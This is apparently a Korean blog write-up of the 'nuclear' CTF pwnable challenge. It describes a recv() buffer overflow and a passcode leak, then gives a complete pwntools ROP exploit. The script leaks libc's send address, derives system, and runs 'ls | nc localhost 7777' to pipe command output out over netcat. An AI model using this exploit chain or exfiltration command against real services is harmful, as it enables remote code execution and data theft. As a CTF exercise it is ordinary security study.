nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c
Angry doraemon 과 비슷한 rop 문제이다.
pwntools 를 이용해서 좀 쉽게 풀었다.
근데 pwntools e.symbols['send'] - e.symbols[system] 이 약간 오류가 있는거 같다..
그냥 gdb 상에서 구하는게 좋을거 같다
gdb-peda$ p send $3 = {<text variable, no debug info>} 0xf7f9d500 <send> gdb-peda$ p system $4 = {<text variable, no debug info>} 0xf7e12da0 <system> |
gdb-peda$ p send-system $6 = 0x18a760 |
nuclear의 취약점은 start_routine에서 사용하고 있는 recv() 에서 발생한다.
버퍼의 크기는 0x200 인데, 0x512 만큼 받아버리니..
아마 개발자 실수인것 같다 (0x200은 10진수로 하면 512)
처음에 passcode를 요하는데
이건 sub_8048A0D((int)arg, "[!] Unknown command : %s\n", &s1); 부분에서 leak 가능하다.
그래서 사용자가 입력하는 값과 저장된 passcode 값까지 쭉 출력할 수 있게 중간에 변수들을 적절히 값을 넣어줘야함..
이미 몇 년 전의 문제이고 writeup 도 많이 존재해서 쉽게 풀 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | #!/usr/bin/python import time from pwn import * context(arch='x86', os='linux', endian='little') ip = 'localhost' port = 1129 e = ELF('./nuclear') libc = ELF("/lib/i386-linux-gnu/libc.so.6") rop = ROP(e) rop2 = ROP(e) offset = 0x18a760 bss = e.bss() code = 'test' #leak system_Addr rop.send(4,e.got['send'],4,0) payload = "A"*528 + rop.chain() r = remote(ip, port) print r.recv(1024) r.send("launch\n") print r.recv(1024) r.send(code+"\n") print r.recv(1024) r.send(payload+"\n") print r.recv(1024) send = u32(r.recv(4)) print '[+] leaked send_addr = 0x%x' %send system = send - offset e.symbols['system'] = system print "[+] system addr : 0x%x" % system #exploit! sh ="ls | nc localhost 7777\x00" rop2.recv(4,bss,len(sh),0) rop2.system(bss) payload2 = "A"*528 + rop2.chain() r2 = remote(ip, port) print r2.recv(1024) r2.send("launch\n") print r2.recv(1024) r2.send(code+"\n") print r2.recv(1024) r2.send(payload2+"\n") print r2.recv(1024) r2.send(sh+"\n") | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
Protostar heap3 (0) | 2018.02.27 |
---|---|
Double Free Bug (0) | 2018.02.23 |
Codegate 2017 - babypwn (0) | 2018.02.22 |
basic-rop (1) | 2018.02.20 |
Codegate 2014 Angry_Doraemon (0) | 2018.02.19 |